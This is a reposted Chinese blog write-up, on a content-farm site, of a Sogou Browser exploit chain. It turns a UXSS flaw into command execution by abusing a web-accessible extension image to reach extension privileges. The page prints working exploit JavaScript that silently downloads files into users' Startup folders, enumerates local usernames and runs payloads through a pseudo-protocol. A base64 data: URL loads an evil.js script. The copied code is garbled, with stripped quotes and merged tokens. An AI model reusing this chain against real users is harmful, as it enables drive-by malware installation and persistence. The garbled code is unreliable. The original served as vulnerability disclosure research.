www.teandq.com
晓安科普

硬核推荐搜狗浏览器漏洞(搜狗浏览器打开)

2023-09-04Aix XinLe

搜狗浏览器uxss到命令执行

硬核推荐搜狗浏览器漏洞(搜狗浏览器打开)

 

案例链接:http://www.wooyun.org/bugs/wooyun-2016-0213422免责声明本博客提供的部分文章思路可能带有攻击性,仅供安全研究与教学之用,风险自负!0x00 首先是UXSS

具体见 https://bugs.chromium.org/p/chromium/issues/detail?id=569496浏览器版本号:6.3.8.212790x01 既然可以UXSS,我们找个特权域

从漏洞 http://wooyun.org/bugs/wooyun-2010-0145023 我们可以知道搜狗浏览器的扩展有下载任意文件到任意位置的API!我们自己写一个恶意扩展,提交并通过审核的可能性基本为0。

这个API这么好用,但又只能从:se-extension://域名下进行调用,好像很难构造吧sogouExplorer.downloads.downloadSilently({url:"http://tmxk.org/img/r-c.png",

filename:"dd.exe",path:"d:\",method:"GET"})我在想怎么利用上面的UXSS的时候,突发奇想的测试了一下,我们能不能打到se-extension://这个域名,于是进行一下测试。

我找了一个搜狗浏览器安装时启用的默认扩展,找到其background.html的地址:se-extension://ext238561744/background.html结果当然是没有那么容易,会提示如下的信息:。

Denying load of se-extension://ext238561744/background.html. Resources must be listed in the web_accessible_resources manifest key in order to be loaded by pages outside the extension.

0x02 难道没法子?我认真的读了两秒这个提示后,原来还允许开发者通过web_accessible_resources指定某些资源,从而实现在扩展外被访问!当然,我们就去试试运气去默认的扩展下找找看有没有吧。

搜狗浏览器安装的插件在这个目录下:C:\Users\Username\AppData\Roaming\SogouExplorer\Extensiongrep一下,找到了一个插件,搜狗打假助手,com.sogou.antiCrime

,其manifest.xml文件中有以下的内容:

于是就把要打的域名地址换成了:se-extension://ext238561744/jd/images/ac-logo.png一开始我还觉得这是一个PNG图片,即使没有被拒绝访问,也应该用不了扩展的API吧。

我本来是很怀疑能不能行的,正想放弃的时候,我还是觉得应该尝试一发把PoC里的expolit.html里的f函数改一下,尝试下载一个文件到c:\Users\目录下备注:后来想想其实也对,因为图片在浏览器打开的时候浏览器用自动的使用img标签插入来显示图片。

...functionf() {console.log("f()")if (++c1 == 2) {var x1 = x.contentWindow[0].frameElement.nextSibling;

// x1.src = se-extension://ext238561744/background.html; // Denied x1.src = se-extension://ext238561744/jd/images/ac-logo.png

;try {while (x1.contentDocument) { ml(); } } catch(e) { x1.src = "javascript:if(location != about:blank) {console.log(location); sogouExplorer.downloads.downloadSilently({url:http://127.0.0.1/test.js,filename:test.js,path:c:\\\\Users\\\\,method:GET});}"

} }}...

0x03 最终我们做到了!上面下载好文件之后,我们可以直接使用伪协议来执行,在 http://wooyun.org/bugs/wooyun-2010-0177221 最新版依旧没有加个提示什么的而且现在我们又扩展名。

.js了直接可以执行当然,我们也可以写到用户的启动目录中,至于怎么拿到用户名,这个 http://wooyun.org/bugs/wooyun-2010-0176436 的漏洞都公开了,然后好像什么修复工作都没有做。

location.href="vbefile:/../../../../../../Users/test.js"获取用户名的过程:用户访问open.html,跳转到data:域下window.location.href = 

"data:text/html;base64,PHNjcmlwdCBzcmM9J2h0dHA6Ly8xMjcuMC4wLjEvZXZpbC5qcyc+PC9zY3JpcHQ+"其中base64解密后内容为:

evil.js在data域下执行,可以获取到用户名列表,然后再跳转到需要写calc.exe到启动目录的页面中,完成写入操作!

functiongetUsers(data) {var users = data.match(/addRow\("([^"]+)"/g) || [];var currentUser=[];

for(var i = 0; i < users.length; i++) {var user = (users[i].match(/addRow\("([^"]+)"/) || [""

, ""])[1];if(["..", "All Users", "Default", "Default User", "Public", "UpdatusUser", "desktop.ini"].indexOf(user) ==

-1) { currentUser.push(user); } }console.log(currentUser);return currentUser;}window.external.extension(

"getRecommendSidebarExts", "file:///C:/Users/", function () {var data = JSON.parse(arguments[0]);if (data.success !=

true)return; location.href = http://127.0.0.1/exploit.html?users= + getUsers(data.data);});写文件到启动目录下:

functionf() {console.log("f()")if (++c1 == 2) {var users = top.location.search.replace(?users=).split(

,);var x1 = x.contentWindow[0].frameElement.nextSibling;// x1.src = se-extension://ext238561744/background.html; // Denied

x1.src = se-extension://ext238561744/jd/images/ac-logo.png;try {while (x1.contentDocument) { ml(); }

} catch(e) {var users_str = ;for (var i = 0; i < users.length; ++i) { users_str += (" + users[i] +

");if (i != users.length - 1) users_str += ,; } x1.src = "javascript:if(location != about:blank) { var users=["

+ users_str + "]; for (var i = 0; i < users.length; ++i) sogouExplorer.downloads.downloadSilently({url:http://127.0.0.1/calc.exe,filename:calc.exe,path:C:\\\\Users\\\\ + users[i] + \\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\,method:GET});}"

} }}录个用伪协议执行的GIF

文章已结束字数(2000),大约15分钟看完http://zhchbin.github.io/2016/10/06/Sogou-Browser-RCE/ 文章转自链接,侵删在互联网上看到“作者”博客文章都很值得学习,大家可以关注作者博客学习。

扫码关注我们微信:快识

你点的每个赞,我都认真当成了喜欢

免责声明:本站所有信息均搜集自互联网,并不代表本站观点,本站不对其真实合法性负责。如有信息侵犯了您的权益,请告知,本站将立刻处理。联系QQ:1640731186

百科硬核推荐搜狗浏览器漏洞(搜狗浏览器打开)

2023-09-04Aix XinLe108

硬核推荐搜狗浏览器漏洞(搜狗浏览器打开)搜狗浏览器uxss到命令执行…

知识知识的英文单词复数(花朵的英文单词复数)怎么可以错过

2023-09-04Aix XinLe105

知识的英文单词复数(花朵的英文单词复数)怎么可以错过加“ves”举例:1.oneknife/naɪf/一把刀sixknives六把刀2.oneleaf/li:f/一片叶子lotsofleaves许…

知识王欣微博(隔壁王欣新浪微博)万万没想到

2023-09-04Aix XinLe162

王欣微博(隔壁王欣新浪微博)万万没想到1月12日,快播创始人王欣更新了自己的微博,并再次晒出了自己的新团队合照,从表态来看,很快将有新的产品推出。…

科学2023年语文高考作文押题(2023年语文高考作文押题家国情怀)怎么可

2023-09-04Aix XinLe185

2023年语文高考作文押题(2023年语文高考作文押题家国情怀)怎么可以错过卷首语 2022高考的硝烟已散去,2023高考的烽烟又燃起,如何备考成为考生面临的问题。相比其他科…

趣闻速看趣闻趣事爆料(趣闻趣事作文)

2023-09-04Aix XinLe146

速看趣闻趣事爆料(趣闻趣事作文)童年趣事作文(精选27篇)  童年趣事作文 篇1  有人说童年是一条金色的小船,里面装满了糖果,装满了欢乐;…